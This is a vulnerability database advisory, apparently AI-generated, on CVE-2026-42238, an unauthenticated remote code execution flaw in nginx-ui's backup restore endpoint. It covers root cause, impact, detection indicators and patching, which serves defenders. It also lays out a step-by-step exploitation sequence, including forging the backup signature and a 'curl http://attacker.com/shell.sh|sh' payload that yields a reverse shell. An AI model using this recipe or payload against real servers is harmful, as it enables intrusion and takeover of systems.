
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-42238 is a critical unauthenticated remote code execution (RCE) vulnerability in nginx-ui, a web-based management interface for the Nginx web server. The flaw exists in the backup restore endpoint (POST /api/restore), which is completely unauthenticated during the first 10 minutes after process startup on any fresh installation — a window that resets on every process restart. All nginx-ui versions prior to 2.3.8 are affected. The vulnerability was identified via source code review on April 21, 2026, published to the GitHub Advisory Database on April 27, 2026, and assigned CVE-2026-42238 on May 4, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 9.0 (Critical) (GitHub Advisory, Github Advisory).
The vulnerability is classified as CWE-94 (Improper Control of Generation of Code / Code Injection) and results from a chain of three weaknesses: authentication bypass, arbitrary file write, and OS command injection. The POST /api/restore route is registered under a router group protected only by IPWhiteList() middleware — no AuthRequired() is applied. The sole authentication guard, authIfInstalled, only enforces authentication when InstallLockStatus() or IsInstallTimeoutExceeded() returns true; on a fresh install within 10 minutes of startup, both return false, allowing unauthenticated access. The EncryptedForm() middleware is also a no-op if the encrypted_params field is absent from the request. Critically, the backup's HMAC integrity check derives its signing key from an attacker-supplied AES key (via the security_token form field), making the integrity check self-referential and trivially bypassable. Once a malicious backup is uploaded, the application overwrites app.ini and the SQLite database without content validation; after an automatic restart, any value injected into TestConfigCmd in app.ini is passed verbatim to /bin/sh -c when TestConfig() is called (GitHub Advisory).
Successful exploitation grants an unauthenticated remote attacker full OS-level code execution as the nginx-ui process user — typically root in Docker deployments, which is the primary distribution method. This results in complete confidentiality loss (access to all nginx configurations, TLS private keys, SQLite database contents, and secrets in app.ini), full integrity compromise (arbitrary modification of nginx configurations and application state), and availability impact (nginx and nginx-ui can be stopped or misconfigured). In Docker environments with host mounts or privileged mode, the attacker may achieve full host system compromise (GitHub Advisory).
A detailed, step-by-step proof-of-concept (PoC) exploit is publicly available within the official GitHub Security Advisory (GHSA-4pvg-prr3-9cxr), including concrete HTTP request templates, backup payload construction instructions, and the full exploit sequence to achieve unauthenticated RCE. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.344% (57th percentile) per the GitHub Advisory Database, though the Feedly intelligence data notes an EPSS of 0.00316. The vulnerability is not currently listed in the CISA KEV catalog. The 10-minute unauthenticated window resets on every process restart (including container health checks and orchestrator rescheduling), significantly broadening the practical attack surface beyond initial deployments (GitHub Advisory, Github Advisory).
Reconnaissance: Identify internet-facing nginx-ui instances (default port 9000/tcp) using tools like Shodan or Censys. Confirm the unauthenticated installation window is open by sending GET /api/install HTTP/1.1 to the target — a response of {"lock": false, "timeout": false} confirms exploitability.
Craft the malicious backup archive: Generate a random 32-byte AES key and 16-byte IV. Create a malicious app.ini containing an attacker-controlled JwtSecret, node.Secret, and a payload in TestConfigCmd (e.g., TestConfigCmd = curl http://attacker.com/shell.sh|sh). Optionally create a SQLite database with a known admin bcrypt hash. Package app.ini and the database into nginx-ui.zip, and create a minimal nginx.zip. Encrypt both with AES-256-CBC using the generated key and IV.
Build a valid manifest: Compute SHA-256 hashes and sizes of the encrypted ZIPs. Construct manifest.json with these values. Derive the HMAC signing key as SHA256("nginx-ui-backup-signing-v1:" + aes_key) and compute HMAC-SHA256(signing_key, manifest_bytes) to produce manifest.sig. Assemble the outer (unencrypted) ZIP containing manifest.json, manifest.sig, nginx-ui.zip, and nginx.zip.
Upload the malicious backup (no authentication required): Send a POST /api/restore multipart/form-data request with the crafted ZIP as backup_file, the base64-encoded <aes_key>:<aes_iv> as security_token, and restore_nginx_ui=true. A successful response ({"nginx_ui_restored": true, "hash_match": true}) confirms the backup was accepted. nginx-ui will automatically restart ~2 seconds later, loading the attacker's app.ini.
Trigger RCE: After waiting ~3 seconds for the restart, send POST /api/nginx/test with the header X-Node-Secret: attacker_chosen_node_secret. nginx-ui executes /bin/sh -c "curl http://attacker.com/shell.sh|sh", delivering a reverse shell running as the nginx-ui process user (typically root in Docker) (GitHub Advisory).
POST requests to /api/restore on port 9000/tcp from external or untrusted IP addresses, especially without prior authentication; outbound connections from the nginx-ui host/container to unknown external IPs shortly after a process restart; HTTP requests to /api/nginx/test with an X-Node-Secret header from untrusted sources.POST /api/restore requests with multipart/form-data content type from unauthenticated sources; application logs recording an unexpected risefront.Restart() call shortly after a restore request; logs showing execution of unexpected shell commands via TestConfig().app.ini or the SQLite database file (nginx-ui.db); presence of unfamiliar values in TestConfigCmd, ReloadCmd, or RestartCmd fields within app.ini; new or modified scripts in directories accessible to the nginx-ui process./bin/sh, curl, wget, bash, python) immediately following a POST /api/nginx/test request; unexpected network connections initiated by shell processes running as root (GitHub Advisory).The vendor has released nginx-ui version 2.3.8, which patches this vulnerability by hardening the first-run installation flow and requiring authentication unconditionally on the restore endpoint. Users should upgrade to v2.3.8 or later immediately (nginx-ui v2.3.8 Release). For installations that cannot be immediately upgraded, restrict network access to the /api/restore endpoint (e.g., via firewall rules or reverse proxy ACLs blocking external access to port 9000). Additionally, avoid running nginx-ui as root in production; use a dedicated unprivileged user account instead. As a defense-in-depth measure, monitor for unexpected modifications to app.ini and the SQLite database, and alert on unauthenticated POST requests to /api/restore (GitHub Advisory).
The vulnerability received coverage from Heise Online, which reported on the critical security flaw being patched in nginx-ui (Heise Online). Security news outlet SecurityOnline.info also covered the RCE vulnerability and authentication bypass (SecurityOnline). BeyondMachines noted the patch alongside other admin takeover vulnerabilities addressed in the same release. The vulnerability was reported by researcher "captain99hook" via source code review, and the advisory's detailed PoC section drew attention from the security community on platforms including Mastodon and Bluesky.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."